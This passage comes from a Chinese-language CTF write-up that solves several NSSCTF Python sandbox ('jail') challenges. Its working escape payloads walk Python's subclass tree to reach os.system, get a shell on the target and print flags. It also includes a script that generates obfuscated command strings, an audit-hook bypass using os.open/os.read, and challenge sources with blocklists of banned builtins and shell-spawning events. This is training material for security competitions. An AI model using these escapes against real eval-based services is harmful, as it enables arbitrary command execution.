[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()).decode()](???)</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">&nbsp;同理反抽就可以执行system("ls")然后cat flag了</span></p>
<pre class="language-python highlighter-hljs"><code>[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()).decode()]((type(str(1).encode())()+type(str(1).encode())()).decode())</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">这里只展示了system("ls")</span></p>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
&gt; [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()).decode()]((type(str(1).encode())()+type(str(1).encode())()).decode())
flag_y0u_CaNt_FiNd_mEserver.py
Answer: 0</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">我们可以看到文件名为flag_y0u_CaNt_FiNd_mE</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">法二:利用Show subclasses with tuple找到<code>bytes</code>类:</span></p>
<pre class="language-python highlighter-hljs"><code>().__class__.__base__.__subclasses__()</code></pre>
<pre class="language-python highlighter-hljs"><code>&gt; ().__class__.__base__.__subclasses__()
Answer: [&lt;class 'type'&gt;, &lt;class 'async_generator'&gt;, &lt;class 'int'&gt;, &lt;class 'bytearray_iterator'&gt;, &lt;class 'bytearray'&gt;, &lt;class 'bytes_iterator'&gt;, &lt;class 'bytes'&gt;....</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">可发现<code>bytes</code>类的索引是6。所以有</span></p>
<pre class="language-python highlighter-hljs"><code>().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()().decode()](().__class__.__base__.__subclasses__()().decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28261                                                                                                    ─╯

_                _                           _       _ _   _                _ ____
| |            (_)                         (_)   (_) | | |            | | || |/_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)_|
            __/ |                        _/ |                                       
             |___/                        |__/                                                                                                                                                                     

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
&gt; ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()().decode()](().__class__.__base__.__subclasses__()().decode())
sh: 0: can't access tty; job control turned off
$ ls /
bin   devhomelib32libx32mntprocrun   srvtmpvar
bootetclib   lib64media   optrootsbinsysusr
$ ls
flag_y0u_CaNt_FiNd_mEserver.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$ </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">法三:利用<code>__doc__:</code></span></p>
<pre class="language-python highlighter-hljs"><code>().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__+().__doc__+().__doc__+().__doc__+().__doc__+().__doc__](().__doc__+().__doc__)</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
&gt; ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__+().__doc__+().__doc__+().__doc__+().__doc__+().__doc__](().__doc__+().__doc__)
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mEserver.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$ </code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level4.2(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">题目描述:</span></p>
<pre class="highlighter-hljs" style="white-space: pre-line; overflow-wrap: break-word" data-v-db92ba9a=""><code>So cool that u finished the 4.1 challenge
filter + try again!!!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28415                                                                                                    ─╯

_                _                           _       _ _   _                _ __   ___
| |            (_)                         (_)   (_) | | |            | | || | |__ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_   ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| / /
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)____|
            __/ |                        _/ |                                          
             |___/                        |__/                                                                                                                                                                                                

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
&gt; </code></pre>
<pre class="language-python highlighter-hljs"><code>Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">可见byte 、加号都被ban了,我们用<code>.__add__</code>来替换加号,然后仍然用上一题的方法去构造system("ls")然后cat flag</span></p>
<pre class="language-python highlighter-hljs"><code>[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode()]((type(str(1).encode())().__add__(type(str(1).encode())())).decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
&gt; [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode()]((type(str(1).encode())().__add__(type(str(1).encode())())).decode())
flag_y0u_CaNt_FiNd_mEserver.py
Answer: 0</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">写个脚本自动生成字符串</span></p>
<pre class="language-python highlighter-hljs"><code>lst = []
for i in "cat flag_y0u_CaNt_FiNd_mE":
    lst.append(f"type(str(1).encode())([{ord(i)}])")

print("("+lst.pop(0),end='')
for i in lst:
    print(f".__add__({i})",end='')

print(").decode()")</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">得到</span></p>
<pre class="language-python highlighter-hljs"><code>(type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode()</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">然后执行</span></p>
<pre class="language-python highlighter-hljs"><code>[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode()]((type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
&gt; [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode()]((type(str(1).encode())().__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())()).__add__(type(str(1).encode())())).decode())
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
Answer: 0</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">&nbsp;法二:仍然是4.1的payload接着用:</span></p>
<pre class="language-python highlighter-hljs"><code>().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()().decode()](().__class__.__base__.__subclasses__()().decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
&gt; ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()().decode()](().__class__.__base__.__subclasses__()().decode())
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mEserver.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
$ </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">法三: 还是利用<code>__doc__</code>的方法但需要改变字符串的拼接方法:除了直接用<code>+</code>连接字符串以外,还有一种常用的方法,如字符串<code>'1234'</code>可以用如下的方式得到:</span></p>
<pre class="language-python highlighter-hljs"><code>''.join(['1', '2', '3', '4'])</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">&nbsp;但是我们需要绕过一开始的<code>''</code>,直接用<code>str()</code>:</span></p>
<pre class="language-python highlighter-hljs"><code>().__class__.__base__.__subclasses__()[-4].__init__.__globals__,().__doc__,().__doc__,().__doc__,().__doc__,().__doc__])](str().join([().__doc__,().__doc__]))</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
&gt; ().__class__.__base__.__subclasses__()[-4].__init__.__globals__,().__doc__,().__doc__,().__doc__,().__doc__,().__doc__])](str().join([().__doc__,().__doc__]))
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mEserver.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
$ </code></pre>
<h1>&nbsp;<span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level4.3(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">题目描述:</span></p>
<pre class="highlighter-hljs" style="white-space: pre-line; overflow-wrap: break-word" data-v-db92ba9a=""><code>So cool that u finished the 4.1 challenge
filter +++ try again!!!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">&nbsp;连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28460                                                                                                    ─╯

_                _                           _       _ _   _                _ __   ____
| |            (_)                         (_)   (_) | | |            | | || | |___ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |___) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ &lt;
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)____/
            __/ |                        _/ |                                          
             |___/                        |__/                                             
                                                                                                                                                                                    
   
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">哎!终于ban了type,但是又学到了一招<code>list(dict(system=114514))</code>可以获取<code>system</code>这个字符串</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">因此直接执行</span><code><span style="font-family: 幼圆; font-size: 18px">system(sh)</span></code></p>
<pre class="language-python highlighter-hljs"><code>[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__](list(dict(sh=1)))</code></pre>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28460                                                                                                    ─╯

_                _                           _       _ _   _                _ __   ____
| |            (_)                         (_)   (_) | | |            | | || | |___ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |___) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ &lt;
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)____/
            __/ |                        _/ |                                          
             |___/                        |__/                                             
                                                                                                                                                                                    
   
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
&gt; [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__](list(dict(sh=1)))
sh: 0: can't access tty; job control turned off
$ ls
flag_7e86c334669ecf2edb5bd7f7fdd0ea8eserver.py
$ cat flag_7e86c334669ecf2edb5bd7f7fdd0ea8e
flag=NSSCTF{6af5fcec-b72b-43f9-84c7-37caf8f183dc}
$ </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">而且发现这道题使用上题的法二法三还能接着用哈哈哈。。</span></p>
<h1><span style="font-family: &quot;PingFang SC&quot;, 宋体; font-size: 18px"><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level5(JAIL)</span></span></h1>
<p>&nbsp;<span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28532                                                                                                    ─╯

_                _                           _       _ _ _                _ _____
| |            (_)                         (_)   (_) | |            | | ____|
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | _____   _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | |__/\ V /__/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
            __/ |                        _/ |                                 
             |___/                        |__/                                                                                                                                                                     

It's so easy challenge!
Seems flag into the dir()
&gt; </code></pre>
<p>&nbsp;<span style="font-family: 幼圆; font-size: 18px">可以直接open然后read</span></p>
<pre class="language-python highlighter-hljs"><code>open("flag").read()</code></pre>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28532                                                                                                    ─╯

_                _                           _       _ _ _                _ _____
| |            (_)                         (_)   (_) | |            | | ____|
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | _____   _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | |__/\ V /__/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
            __/ |                        _/ |                                 
             |___/                        |__/                                                                                                                                                                     

It's so easy challenge!
Seems flag into the dir()
&gt; open("flag").read()
'flag=NSSCTF{2698d16a-843a-466f-a3f8-8ecdebf10e48}\n'</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">实属非预期了,因为没看到源码。。 </span></p>
<h1>&nbsp;<span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level5.1(JAIL)</span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28529                                                                                                    ─╯

_                _                           _       _ _ _                _ _____ __
| |            (_)                         (_)   (_) | |            | | ____/_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | _____   _____| | |__| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | |__/\ V /__/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                                                                             

It's so easy challenge!
Seems flag into the dir()
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">根据尝试,<code>__import__</code>和<code>open</code>都给ban了</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">提示</span><code><span style="font-family: 幼圆; font-size: 18px">dir()</span></code></p>
<pre class="language-python highlighter-hljs"><code>&gt; dir()
['__builtins__', 'my_flag']</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">看到有个<code>my_flag</code>,使用dir跟进</span></p>
<pre class="language-python highlighter-hljs"><code>&gt; dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">看到一个<code>flag_level5</code></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">继续跟进</span></p>
<pre class="language-python highlighter-hljs"><code>&gt; dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">发现有个encode方法,直接调用即可</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28529                                                                                                    ─╯

_                _                           _       _ _ _                _ _____ __
| |            (_)                         (_)   (_) | |            | | ____/_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | _____   _____| | |__| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | |__/\ V /__/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                                                                             

It's so easy challenge!
Seems flag into the dir()
&gt; my_flag.flag_level5.encode()
b'flag=NSSCTF{f9e51524-8c5a-4a06-a42b-4b7788fbc123}\n'</code></pre>
<h1><span style="font-family: &quot;PingFang SC&quot;, 宋体; font-size: 18px"><span style="font-size: 28px" data-v-db92ba9a="">laKe laKe laKe(JAIL)</span></span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">附件信息</span></p>
<details>
<summary>查看代码</summary>
<pre class="language-python highlighter-hljs"><code>&nbsp;#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
      raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 &gt; ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
      input_data = eval_func(input(''),{},{})
    except Exception:
      sys.stdout = challenge_original_stdout
      print("Seems not right! please guess it!")
      return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
      game_score += 1
   
    return game_score

WELCOME='''
_       ___      _       ___      _       ___   
| |   | |/ /   | |   | |/ /   | |   | |/ /   
| | __ _| ' / ___| | __ _| ' / ___| | __ _| ' / ___
| |/ _` |&lt; / _ \ | |/ _` |&lt; / _ \ | |/ _` |&lt; / _ \
| | (_| | . \__/ | | (_| | . \__/ | | (_| | . \__/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
      print('you are really super guesser!!!!')
      print(open_func('flag').read())
    else:
      print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()</code></pre>
</details>
<p><span style="font-family: 幼圆; font-size: 18px">这题又是个非预期,原因是没有ban <code>open</code></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">上来就hook了大部分函数</span></p>
<pre class="language-python highlighter-hljs"><code>def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
      raise RuntimeError('Operation banned: {}'.format(event))</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">分析一下关键猜数字的函数</span></p>
<pre class="language-python highlighter-hljs"><code>def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 &gt; ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
      input_data = eval_func(input(''),{},{})
    except Exception:
      sys.stdout = challenge_original_stdout
      print("Seems not right! please guess it!")
      return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
      game_score += 1
   
    return game_score</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">可知我们需要猜出<code>right_guesser_question_answer</code>才可以获取flag,</span><span style="font-family: 幼圆; font-size: 18px">同时还给<code>sys.stdout、sys.seterr</code>进行了重定向,调用print无法输出。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">但是可以通过<code>__import__("sys").__stdout__.write()</code>去输入。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">那么我们的思路就是,读文件,然后输出</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">用os.open打开文件,然后用os.read读文件,当然也可以用</span><code><span style="font-family: 幼圆; font-size: 18px">__import__('io').open("flag").read()</span></code></p>
<pre class="language-python highlighter-hljs"><code>__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28112                                                                                                    ─╯

_       ___      _       ___      _       ___   
| |   | |/ /   | |   | |/ /   | |   | |/ /   
| | __ _| ' / ___| | __ _| ' / ___| | __ _| ' / ___
| |/ _` |&lt; / _ \ | |/ _` |&lt; / _ \ | |/ _` |&lt; / _| | (_| | . \__/ | | (_| | . \__/ | | (_| | . \__/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 &gt; __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
flag=NSSCTF{350b6c52-8650-445c-b8f1-d159478e392a}
Guess game end!!!</code></pre>
<h1><span style="font-family: &quot;PingFang SC&quot;, 宋体; font-size: 18px"><span style="font-size: 28px" data-v-db92ba9a="">lak3 lak3 lak3(JAIL)</span></span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">附件信息</span></p>
<details>
<summary>查看代码</summary>
<pre class="language-python highlighter-hljs"><code>&nbsp;#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
      raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 &gt; ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
      input_data = eval_func(input(''),{},{})
    except Exception:
      sys.stdout = challenge_original_stdout
      print("Seems not right! please guess it!")
      return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
      game_score += 1
   
    return game_score

WELCOME='''
_       _    ____    _       _    ____    _       _    ____
| |   | ||___ \| |   | ||___ \| |   | ||___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ &lt;| |/ _` | |/ /|__ &lt;| |/ _` | |/ /|__ &lt;
| | (_| |   &lt; ___) | | | (_| |   &lt; ___) | | | (_| |   &lt; ___) |
|_|\__,_|_|\_\____/|_|\__,_|_|\_\____/|_|\__,_|_|\_\____/
                                                                                                                                                                     
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
      print('you are really super guesser!!!!')
      print('flag{fake_flag_in_local_but_really_in_The_remote}')
    else:
      print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()</code></pre>
</details>
<p><span style="font-family: 幼圆; font-size: 18px">这个厉害了,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了</span></p>
<pre class="language-python highlighter-hljs"><code>def my_audit_hook(event, _):
